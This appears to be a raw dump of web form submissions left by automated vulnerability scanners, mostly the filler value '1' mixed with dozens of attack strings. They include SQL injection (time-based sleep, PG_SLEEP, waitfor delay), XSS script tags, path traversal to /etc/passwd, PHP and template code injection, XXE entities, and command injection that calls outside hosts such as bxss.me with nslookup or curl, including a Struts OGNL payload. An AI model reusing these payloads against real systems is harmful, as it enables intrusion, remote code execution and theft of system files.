1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(105).concat(70).concat(103).concat(77)+(require"socket" Socket.gethostbyname("hitur"+"rhsosebf21da8.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(112).concat(90).concat(107).concat(71)+(require'socket' Socket.gethostbyname('hitqk'+'tcqvecjv7122f.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >D1ax(9142)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19261320
1
1
1
1
1
1
1
1
1
1
1
1
)
1
!(()&&!|*|*|
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1NXlqCmll
1
1
1
1
1
1
1
1
1
-1 OR 2+314-314-1=0+0+0+1 --
1
-1 OR 2+837-837-1=0+0+0+1
1
1
-1' OR 2+454-454-1=0+0+0+1 --
1
1
1
1
1
1
-1' OR 2+585-585-1=0+0+0+1 or 'HvWKIxOB'='
1
1
1
-1" OR 2+510-510-1=0+0+0+1 --
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1-1); waitfor delay '0:0:15' --
'.gethostbyname(lc('hituu'.'itupalby8d5ea.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(89).chr(121).chr(66).'
1
1
1
".gethostbyname(lc("hitwv"."kqolxocf2b79b.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(81).chr(106).chr(82)."
1
1
1-1 waitfor delay '0:0:15' --
1
1
1ZUFdvWBP'; waitfor delay '0:0:15' --
1
1-1 OR 15=(SELECT 15 FROM PG_SLEEP(15))--
1
1
1-1) OR 386=(SELECT 386 FROM PG_SLEEP(15))--
1
1
1
1-1)) OR 64=(SELECT 64 FROM PG_SLEEP(15))--
1
1
1
1
1
11VOlbbWq' OR 807=(SELECT 807 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1MRjN2xif') OR 436=(SELECT 436 FROM PG_SLEEP(15))--
1
1
1aiW5BnMG')) OR 992=(SELECT 992 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1'"
1
1
1
@@VjM2F
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1
1
1
1
1
1
GtdUCsSv
1
1
1
1&n901651=v957055
1
1
1
1
1
1
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo vivkcx$()\ ublsyx\nz^xyu||a #' &echo vivkcx$()\ ublsyx\nz^xyu||a #|" &echo vivkcx$()\ ublsyx\nz^xyu||a #
1
1
1
1
1
&echo bpfkdz$()\ zusigk\nz^xyu||a #' &echo bpfkdz$()\ zusigk\nz^xyu||a #|" &echo bpfkdz$()\ zusigk\nz^xyu||a #
1
1
1
1&echo pmlvxq$()\ bpbrlq\nz^xyu||a #' &echo pmlvxq$()\ bpbrlq\nz^xyu||a #|" &echo pmlvxq$()\ bpbrlq\nz^xyu||a #
1
1
1
1
|echo jmsidf$()\ varzic\nz^xyu||a #' |echo jmsidf$()\ varzic\nz^xyu||a #|" |echo jmsidf$()\ varzic\nz^xyu||a #
1
1
1|echo cnesid$()\ esqnop\nz^xyu||a #' |echo cnesid$()\ esqnop\nz^xyu||a #|" |echo cnesid$()\ esqnop\nz^xyu||a #
1
1
1
1
1
(nslookup -q=cname hitrlbsytilqv22206.bxss.me||curl hitrlbsytilqv22206.bxss.me))
1
1
$(nslookup -q=cname hitnwxzqrvhpn60f21.bxss.me||curl hitnwxzqrvhpn60f21.bxss.me)
1
1
&nslookup -q=cname hitqvhioiidfd99606.bxss.me&'\"`0&nslookup -q=cname hitqvhioiidfd99606.bxss.me&`'
1
1
1
1
1
1
1
1
1
&(nslookup -q=cname hitzanmlhpypyb9fcb.bxss.me||curl hitzanmlhpypyb9fcb.bxss.me)&'\"`0&(nslookup -q=cname hitzanmlhpypyb9fcb.bxss.me||curl hitzanmlhpypyb9fcb.bxss.me)&`'
1
1
1
|(nslookup -q=cname hitrdrpsgrsou30b3d.bxss.me||curl hitrdrpsgrsou30b3d.bxss.me)
1
1
1
`(nslookup -q=cname hitgkrktsurav34ee8.bxss.me||curl hitgkrktsurav34ee8.bxss.me)`
1
1
1
;(nslookup -q=cname hitzsbjyixtpb16084.bxss.me||curl hitzsbjyixtpb16084.bxss.me)|(nslookup -q=cname hitzsbjyixtpb16084.bxss.me||curl hitzsbjyixtpb16084.bxss.me)&(nslookup -q=cname hitzsbjyixtpb16084.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
file:///etc/passwd
1
1
1
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999311+9999706}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9518266*9087765)
1
1
'+response.write(9518266*9087765)+'
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
Http://bxss.me/t/fit.txt
1
"+response.write(9518266*9087765)+"
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
/etc/shells
1
1
1
1
c:/windows/win.ini
1
HttP://bxss.me/t/xss.html?%00
1
bxss.me
1
bxss.me/t/xss.html?%00
1
1
"+"A".concat(70-3).concat(22*4).concat(101).concat(90).concat(103).concat(80)+(require"socket" Socket.gethostbyname("hitak"+"wgpahnbyff2d4.bxss.me.")[3].to_s)+"
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(108).concat(79).concat(103).concat(72)+(require'socket' Socket.gethostbyname('hitic'+'egwkgxcw7653e.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
create
1
1
1
create
1
1
1
create/.
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >G9MQ(9920)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19491586
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1g7FAzNkN
1
1
-1 OR 2+129-129-1=0+0+0+1 --
-1 OR 2+679-679-1=0+0+0+1
-1' OR 2+453-453-1=0+0+0+1 --
-1' OR 2+283-283-1=0+0+0+1 or 'tUFxXmAK'='
-1" OR 2+893-893-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
1
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1aLuV9aXS'; waitfor delay '0:0:15' --
1-1 OR 104=(SELECT 104 FROM PG_SLEEP(15))--
1-1) OR 67=(SELECT 67 FROM PG_SLEEP(15))--
1-1)) OR 305=(SELECT 305 FROM PG_SLEEP(15))--
15tVLZz10' OR 288=(SELECT 288 FROM PG_SLEEP(15))--
1LSfGHfP5') OR 222=(SELECT 222 FROM PG_SLEEP(15))--
1cg3C5V6h')) OR 745=(SELECT 745 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1
@@M7DSU
)
!(()&&!|*|*|
'.gethostbyname(lc('hitlp'.'vfzkeqjn02e79.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(81).chr(98).chr(86).'
1
".gethostbyname(lc("hitto"."qufyqkvxdd07c.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(78).chr(112).chr(72)."
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n913532=v903018
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
1
1
1
";print(md5(31337));$a="
${@print(md5(31337))}
1
1
1
1
${@print(md5(31337))}\
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
Jfo9VHgW
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
file:///etc/passwd
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo lqizxw$()\ wbsigd\nz^xyu||a #' &echo lqizxw$()\ wbsigd\nz^xyu||a #|" &echo lqizxw$()\ wbsigd\nz^xyu||a #
1
1
1
1
1
&echo keousu$()\ blosbd\nz^xyu||a #' &echo keousu$()\ blosbd\nz^xyu||a #|" &echo keousu$()\ blosbd\nz^xyu||a #
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&echo lukeqk$()\ hfllio\nz^xyu||a #' &echo lukeqk$()\ hfllio\nz^xyu||a #|" &echo lukeqk$()\ hfllio\nz^xyu||a #
1
1
1
1
1
1
1
1
1
1
1
|echo zkgupj$()\ rggjsr\nz^xyu||a #' |echo zkgupj$()\ rggjsr\nz^xyu||a #|" |echo zkgupj$()\ rggjsr\nz^xyu||a #
1
1
1|echo uocgys$()\ mmlgnd\nz^xyu||a #' |echo uocgys$()\ mmlgnd\nz^xyu||a #|" |echo uocgys$()\ mmlgnd\nz^xyu||a #
1
1
1
1
(nslookup -q=cname hithvuyyosicf05959.bxss.me||curl hithvuyyosicf05959.bxss.me))
1
1
1
$(nslookup -q=cname hitmylqicyeqw80440.bxss.me||curl hitmylqicyeqw80440.bxss.me)
1
1
1
1
1
1
1
1
&nslookup -q=cname hitbtjtdqowwg8856b.bxss.me&'\"`0&nslookup -q=cname hitbtjtdqowwg8856b.bxss.me&`'
1
1
1
1
1
1
1
&(nslookup -q=cname hitaiblkodeij6109d.bxss.me||curl hitaiblkodeij6109d.bxss.me)&'\"`0&(nslookup -q=cname hitaiblkodeij6109d.bxss.me||curl hitaiblkodeij6109d.bxss.me)&`'
1
1
1
|(nslookup -q=cname hitiqrozshcuu9d6b9.bxss.me||curl hitiqrozshcuu9d6b9.bxss.me)
1
1
1
`(nslookup -q=cname hitzqouyorqcz00a57.bxss.me||curl hitzqouyorqcz00a57.bxss.me)`
1
1
1
1
1
1
;(nslookup -q=cname hityjsfubifxe99125.bxss.me||curl hityjsfubifxe99125.bxss.me)|(nslookup -q=cname hityjsfubifxe99125.bxss.me||curl hityjsfubifxe99125.bxss.me)&(nslookup -q=cname hityjsfubifxe99125.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999889+9999300}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
response.write(9127588*9483136)
1
/etc/shells
1
1
'+response.write(9127588*9483136)+'
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
bxss.me
1
1
1
1
"+response.write(9127588*9483136)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(116).concat(68).concat(107).concat(77)+(require"socket" Socket.gethostbyname("hitgq"+"isufzrpp9dfa3.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(103).concat(90).concat(119).concat(83)+(require'socket' Socket.gethostbyname('hitjq'+'apaqhxnu07845.bxss.me.')[3].to_s)+'
1
create
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
<!--
1
1
1
1
1'"()&%<zzz><ScRiPt >sYde(9758)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19569651
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >yi66(9960)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >yi66(9362)</ScRiPt>
1
1
1
1
1
1
1
19321345
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >fxnv(9185)</ScRiPt>
19852911
1'"()&%<zzz><ScRiPt >j2PA(9043)</ScRiPt>
19193000
bfg5780＜s1﹥s2ʺs3ʹhjl5780
bfgx1203
<%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
yxdwdheeycedvzlsnwne
'+(44288*41482)+'
<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY content SYSTEM "http://x.cloudfleras.com/i/4b564d/kk5k/3ewp/">]><a>&content;</a>
expr 872724611 + 957518824
|expr 880748265 + 815674934
$(expr 934873947 + 855615840)
&set /A 878893199+913257635
expr 834934150 + 956872485
CRLF-Header:CRLF-Value
%0d%0aCRLF-Header:CRLF-Value
\r\nCRLF-Header:CRLF-Value
${@var_dump(md5(805558789))};
${955210961+860432785}
'-var_dump(md5(949749781))-'
/*1*/{{828589634+811447817}}
${853794771+875298775}
${(859063820+828701765)?c}
#set($c=824449466+956961823)${c}$c
<%- 989487040+831279933 %>
'and/**/extractvalue(1,concat(char(126),md5(1838574087)))and'
"and/**/extractvalue(1,concat(char(126),md5(1876984228)))and"
extractvalue(1,concat(char(126),md5(1826455969)))
'and(select'1'from/**/cast(md5(1856373067)as/**/int))>'0
/**/and/**/cast(md5('1277890651')as/**/int)>0
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1726211844')))
'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1066958949')))>'0
鎈'"\(
'"\(
%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)
%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('curl http://x.cloudfleras.com/i/b2850d/dy0k/m
'and'c'='c
'and'v'='r
"and"e"="e
"and"w"="c
'and(select*from(select+sleep(0))a/**/union/**/select+1)='
'and(select*from(select+sleep(2))a/**/union/**/select+1)='
"and(select*from(select+sleep(0))a/**/union/**/select+1)="
"and(select*from(select+sleep(2))a/**/union/**/select+1)="
'/**/and(select'1'from/**/pg_sleep(0))::text>'0
'/**/and(select'1'from/**/pg_sleep(2))::text>'0
'and(select+1)>0waitfor/**/delay'0:0:0
'and(select+1)>0waitfor/**/delay'0:0:2
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('l',0)='l
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',2)='n
'+(44162*40103)+'
CRLF-Header:CRLF-Value
%0d%0aCRLF-Header:CRLF-Value
\r\nCRLF-Header:CRLF-Value
'and/**/extractvalue(1,concat(char(126),md5(1278979059)))and'
"and/**/extractvalue(1,concat(char(126),md5(1108148269)))and"
extractvalue(1,concat(char(126),md5(1632140231)))
'and(select'1'from/**/cast(md5(1351937654)as/**/int))>'0
/**/and/**/cast(md5('1389185158')as/**/int)>0
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1126681495')))
'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1612639471')))>'0
鎈'"\(
'"\(
jyiwoyxxvthmcrwkptqc
'and't'='t
<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY content SYSTEM "http://x.cloudfleras.com/i/9f9d12/4v42/4iu8/">]><a>&content;</a>
'and'e'='n
"and"c"="c
"and"r"="w
'and(select*from(select+sleep(0))a/**/union/**/select+1)='
'and(select*from(select+sleep(2))a/**/union/**/select+1)='
